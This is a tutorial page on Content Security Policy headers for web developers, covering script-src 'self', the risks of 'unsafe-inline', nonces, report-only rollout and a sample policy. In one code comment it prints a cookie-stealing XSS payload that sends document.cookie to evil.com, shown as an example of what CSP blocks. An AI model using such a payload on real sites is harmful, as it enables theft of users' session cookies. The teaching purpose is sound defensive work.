Content Security Policy (CSP) is a browser-enforced HTTP header that restricts what a page is allowed to load and execute, acting as a critical safety net even if an XSS vulnerability somehow slips through your application code.
1Content Security Policy Basics | JavaScript Tutorial - In-Depth Guide Part 1
A Content Security Policy is an HTTP response header telling the browser exactly which sources of scripts, styles, and other resources are allowed to load and execute on the page.
Content-Security-Policy: script-src 'self' https://trusted-cdn.com;A Second Line of Defense
2Content Security Policy Basics | JavaScript Tutorial - In-Depth Guide Part 2
'script-src 'self'' means only scripts loaded from your own origin are allowed — any injected inline script or external script from a different domain is blocked by the browser itself.
// With script-src 'self', this injected tag simply won't execute:
// <script>document.location='https://evil.com/steal?c='+document.cookie</script>The 'self' Directive
3Content Security Policy Basics | JavaScript Tutorial - In-Depth Guide Part 3
Allowing 'unsafe-inline' in your script-src defeats much of CSP's protection against XSS, since it permits exactly the kind of injected inline scripts that CSP was designed to block.
// Weakens protection significantly — avoid if possible:
Content-Security-Policy: script-src 'self' 'unsafe-inline';Avoid 'unsafe-inline'
4Content Security Policy Basics | JavaScript Tutorial - In-Depth Guide Part 4
For legitimate inline scripts you genuinely need (rather than removing 'unsafe-inline' entirely and breaking them), a 'nonce' — a unique, per-request random token — lets specific, trusted inline scripts run while still blocking any injected ones.
<!-- Server generates a fresh random nonce per request -->
<script nonce="aB3f9x...">initApp();</script>
<!-- CSP header: script-src 'self' 'nonce-aB3f9x...' -->Using Nonces for Trusted Inline Scripts
5Content Security Policy Basics | JavaScript Tutorial - In-Depth Guide Part 5
'Content-Security-Policy-Report-Only' lets you deploy and test a policy without actually blocking anything yet — violations are just reported (e.g. to a logging endpoint), letting you find and fix legitimate breakage before enforcing the real policy.
Content-Security-Policy-Report-Only: script-src 'self'; report-uri /csp-violationsSafe Rollout with Report-Only Mode
6Step-by-Step Breakdown
A Content Security Policy is an HTTP response header telling the browser exactly which sources of scripts, styles, and other resources are allowed to load and execute on the page.
'script-src 'self'' means only scripts loaded from your own origin are allowed — any injected inline script or external script from a different domain is blocked by the browser itself.
Checkpoint: With a CSP of script-src 'self', would an injected <script src="https://evil.com/x.js"> tag actually load and execute?
- →Yes, CSP only affects inline scripts
- →No, the browser blocks loading from a non-allowed origin
Allowing 'unsafe-inline' in your script-src defeats much of CSP's protection against XSS, since it permits exactly the kind of injected inline scripts that CSP was designed to block.
Checkpoint: Does adding 'unsafe-inline' to a script-src directive weaken protection against XSS?
- →Yes, it allows exactly the inline scripts XSS relies on
- →No, it has no effect on XSS protection
For legitimate inline scripts you genuinely need (rather than removing 'unsafe-inline' entirely and breaking them), a 'nonce' — a unique, per-request random token — lets specific, trusted inline scripts run while still blocking any injected ones.
'Content-Security-Policy-Report-Only' lets you deploy and test a policy without actually blocking anything yet — violations are just reported (e.g. to a logging endpoint), letting you find and fix legitimate breakage before enforcing the real policy.
Next, we'll explore 'Secure Fetch Requests'.
Level Up 🚀
Advanced cheat sheets, SEO tricks, and interview prep for this topic.
Browser Support
Fully supported.
Fully supported.
Fully supported.
Fully supported.
Accessibility (A11y)
1No Direct Accessibility Implication, But Verify Third-Party Accessibility Tools Are Allow-Listed
If your CSP restricts external script sources, ensure any third-party accessibility tools or overlays you intentionally rely on are explicitly included in the allow-list, or they will be silently blocked by the policy without an obvious error to the end user.
SEO Implications
- 1
CSP Reduces the Risk of Search-Engine-Penalized Malicious Injections
By blocking unauthorized script execution even in the event of a successful injection, CSP reduces the risk of a compromised page serving malware or spam to visitors and search engine crawlers, which could otherwise trigger a search engine security warning or ranking penalty.
Best Practices
Deploy a New or Updated CSP in Report-Only Mode First
This surfaces real violations from actual production traffic without breaking anything, letting you refine the policy before switching to full enforcement.
Avoid 'unsafe-inline' — Use Nonces or Externalize Scripts Instead
Preserving CSP's core protection against injected inline scripts is worth the migration effort of moving inline scripts to external files or adding server-generated nonces.
Frequent Bugs
Adding 'unsafe-inline' to quickly fix CSP violation errors from an app full of inline event handlers and script tags, unintentionally reopening the exact XSS vector CSP was meant to close.
Migrate inline scripts to external files (naturally covered by script-src 'self') or add server-generated nonces to specific, trusted inline scripts instead of broadly allowing all inline scripts.
Deploying a strict CSP directly to production without first testing in report-only mode, breaking legitimate third-party integrations (like analytics or payment widgets) that load from domains not yet included in the policy.
Roll out with Content-Security-Policy-Report-Only first, review the violation reports, add necessary trusted domains to the policy, then switch to full enforcement.
Real-World Examples
Locking Down Script Sources on a Public-Facing Site
A site wanted an extra layer of protection against XSS beyond its existing sanitization, in case any injection vulnerability was ever missed.
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.trusted-analytics.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:;